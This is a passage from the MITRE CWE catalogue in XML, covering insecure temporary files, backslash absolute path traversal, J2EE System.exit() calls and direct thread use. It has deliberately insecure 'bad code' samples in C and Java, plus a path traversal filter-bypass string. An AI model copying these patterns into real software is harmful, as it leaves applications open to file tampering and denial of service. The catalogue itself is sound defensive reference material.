					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Many contemporary languages have functions which properly handle this
							condition. Older C temp file functions are especially
							susceptible.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Try to store sensitive tempfiles in a directory which is not world
							readable -- i.e., per-user directories.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Avoid using vulnerable temp file functions.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-101">
					          <Intro_Text>In the following code examples a temporary file is created and
						written to and after using the temporary file the file is closed and deleted
						from the file system.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>FILE *stream;</Code>
							              <Code>if( (stream = tmpfile()) == NULL ) {</Code>
							              <Block>
								                <Code/>
								                <Code>perror("Could not open new temporary file\n");</Code>
								                <Code>return (-1);</Code>
							              </Block>
							              <Code>}</Code>
							              <Comment>// write data to tmp file</Comment>
							              <Code>...</Code>
							              <Code>// remove tmp file</Code>
							              <Code>rmtmp();</Code>
						            </Block>
						            <Text>However, within this C/C++ code the method tmpfile() is used to create
							and open the temp file. The tmpfile() method works the same way as the
							fopen() method would with read/write permission, allowing attackers to
							read potentially sensitive information contained in the temp file or
							modify the contents of the file.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>try {</Code>
							              <Block>
								                <Code>File temp = File.createTempFile("pattern", ".suffix");</Code>
								                <Code>temp.deleteOnExit();</Code>
								                <Code>BufferedWriter out = new BufferedWriter(new
									FileWriter(temp));</Code>
								                <Code>out.write("aString");</Code>
								                <Code>out.close();</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>catch (IOException e) {</Code>
							              <Code>}</Code>
						            </Block>
						            <Text>Similarly, the createTempFile() method used in the Java code creates a
							temp file that may be readable and writable to all users. </Text>
						            <Text>Additionally both methods used above place the file into a default
							directory. On UNIX systems the default directory is usually "/tmp" or
							"/var/tmp" and on Windows systems the default directory is usually
							"C:\\Windows\\Temp", which may be easily accessible to attackers,
							possibly enabling them to read and modify the contents of the temp
							file.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 9, "Temporary Files", Page 538.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Guessed or visible temporary file</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Ensure that file operations are performed in a secure
						directory</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO15-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not create temporary files in shared
						directories</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO43-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Ensure that file operations are performed in a secure
						directory</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO15-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Do not create temporary files in shared
						directories</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO43-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Guessed or Visible Temporary
						File</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Creation of Temporary File in
						Directory with Insecure Permissions</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="38" Name="Path Traversal: '\absolute\pathname\here'" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>A software system that accepts input in the form of a backslash
					absolute path ('\absolute\pathname\here') without appropriate validation can
					allow an attacker to traverse the file system to unintended locations or access
					arbitrary files.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>36</Relationship_Target_ID>
					          <!--Absolute Path Traversal-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>743</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>877</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-5.1">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
						            <Text>When validating filenames, use stringent whitelists that limit the
							character set to be used. If feasible, only allow a single "." character
							in the filename to avoid weaknesses such as CWE-23, and exclude
							directory separators such as "/" to avoid CWE-36. Use a whitelist of
							allowable file extensions, which will help to avoid CWE-434.</Text>
						            <Text>Do not rely exclusively on a filtering mechanism that removes
							potentially dangerous characters. This is equivalent to a blacklist,
							which may be incomplete (CWE-184). For example, filtering "/" is
							insufficient protection if the filesystem also supports the use of "\"
							as a directory separator. Another possible error could occur when the
							filtering is applied in a way that still produces dangerous data
							(CWE-182). For example, if "../" sequences are removed from the
							".../...//" string in a sequential fashion, two instances of "../" would
							be removed from the original string, but the remaining characters would
							still form the "../" string.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-1263</Observed_Example_Reference>
					          <Observed_Example_Description> Mail client allows remote attackers to overwrite
						arbitrary files via an e-mail message containing a uuencoded attachment that
						specifies the full pathname for the file to be modified.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0753</Observed_Example_Reference>
					          <Observed_Example_Description> Remote attackers can read arbitrary files via a
						full pathname to the target file in config parameter.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1525</Observed_Example_Reference>
					          <Observed_Example_Description> Remote attackers can read arbitrary files via an
						absolute pathname. </Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>\absolute\pathname\here ('backslash absolute
						path')</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Identify files using multiple file
						attributes</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO05-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Identify files using multiple file
						attributes</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO05-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Path Issue - Backslash
						Absolute Path - \absolute\pathname\here</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="382" Name="J2EE Bad Practices: Use of System.exit()" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>A J2EE application uses System.exit(), which also shuts down
					its container.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>705</Relationship_Target_ID>
					          <!--Incorrect Control Flow Scoping-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>381</Relationship_Target_ID>
					          <!--J2EE Time and State Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>730</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A9 - Denial of Service-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>361</Relationship_Target_ID>
					          <!--Time and State-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>227</Relationship_Target_ID>
					          <!--Improper Fulfillment of API Contract ('API Abuse')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>851</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>887</Relationship_Target_ID>
					          <!--SFP Cluster: API-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>Access to a function that can shut down the application is an avenue for
						Denial of Service (DoS) attacks. The shutdown function should be a
						privileged function available only to a properly authorized administrative
						user. Any other possible cause of a shutdown is generally a security
						vulnerability. (In rare cases, the intended security policy calls for the
						application to halt as a damage control measure when it determines that an
						attack is in progress.) Web applications should not call methods that cause
						the virtual machine to exit, such as System.exit(). Web applications should
						also not throw any Throwables to the application server as this may
						adversely affect the container. Non-web applications may have a main()
						method that contains a System.exit(), but generally should not call
						System.exit() from other locations in the code. It is never a good idea for
						a web application to attempt to shut down the application container. A call
						to System.exit() is probably part of leftover debug code or code imported
						from a non-J2EE application.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>Included in the doPost() method defined below is a call to
						System.exit() in the event of a specific exception.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>Public void doPost(HttpServletRequest request, HttpServletResponse
								response) throws ServletException, IOException {</Code>
							              <Block>
								                <Code>try {</Code>
								                <Block>
									                  <Code>...</Code>
								                </Block>
								                <Code>} catch (ApplicationSpecificException ase) {</Code>
								                <Block>
									                  <Code>logger.error("Caught: " + ase.toString());</Code>
									                  <Code>System.exit(1);</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>J2EE Bad Practices: System.exit()</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Denial of Service</Mapped_Node_Name>
					          <Mapped_Node_ID>A9</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not allow untrusted code to terminate the
						JVM</Mapped_Node_Name>
					          <Mapped_Node_ID>ERR09-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">J2EE Bad Practices:
						System.exit()</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="383" Name="J2EE Bad Practices: Direct Use of Threads" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>Thread management in a Web application is forbidden in some
					circumstances and is always highly error prone.</Description_Summary>
				        <Extended_Description>
					          <Text>Thread management in a web application is forbidden by the J2EE standard
						in some circumstances and is always highly error prone. Managing threads is
						difficult and is likely to interfere in unpredictable ways with the behavior
						of the application container. Even without interfering with the container,
						thread management usually leads to bugs that are hard to detect and diagnose
						like deadlock, race conditions, and other synchronization errors.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>381</Relationship_Target_ID>
					          <!--J2EE Time and State Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>695</Relationship_Target_ID>
					          <!--Use of Low-Level Functionality-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>634</Relationship_Target_ID>
					          <!--Weaknesses that Affect System Processes-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>361</Relationship_Target_ID>
					          <!--Time and State-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>887</Relationship_Target_ID>
					          <!--SFP Cluster: API-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
				  	        <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>For EJB, use framework approaches for parallel execution, instead of
							using threads.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following example, a new Thread object is created and invoked
						directly from within the body of a doGet() method in a Java
						servlet.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public void doGet(HttpServletRequest request, HttpServletResponse
								response) throws ServletException, IOException {</Code>
							              <Block>
								                <Comment>// Perform servlet tasks.</Comment>
								                <Code>...</Code>
								                <Code/>
								                <Comment>// Create a new thread to handle background
									processing.</Comment>
								                <Code>Runnable r = new Runnable() {</Code>
								                <Block>
									                  <Code>public void run() {</Code>
									                  <Block>
										                    <Comment>// Process and store request statistics.</Comment>
										                    <Code>...</Code>
									                  </Block>
									                  <Code>}</Code>
								                </Block>
								                <Code>};</Code>
								                <Code/>
								                <Code>new Thread(r).start();</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Affected_Resources>
				        <Affected_Resource>System Process</Affected_Resource>
			      </Affected_Resources>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>J2EE Bad Practices: Threads</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
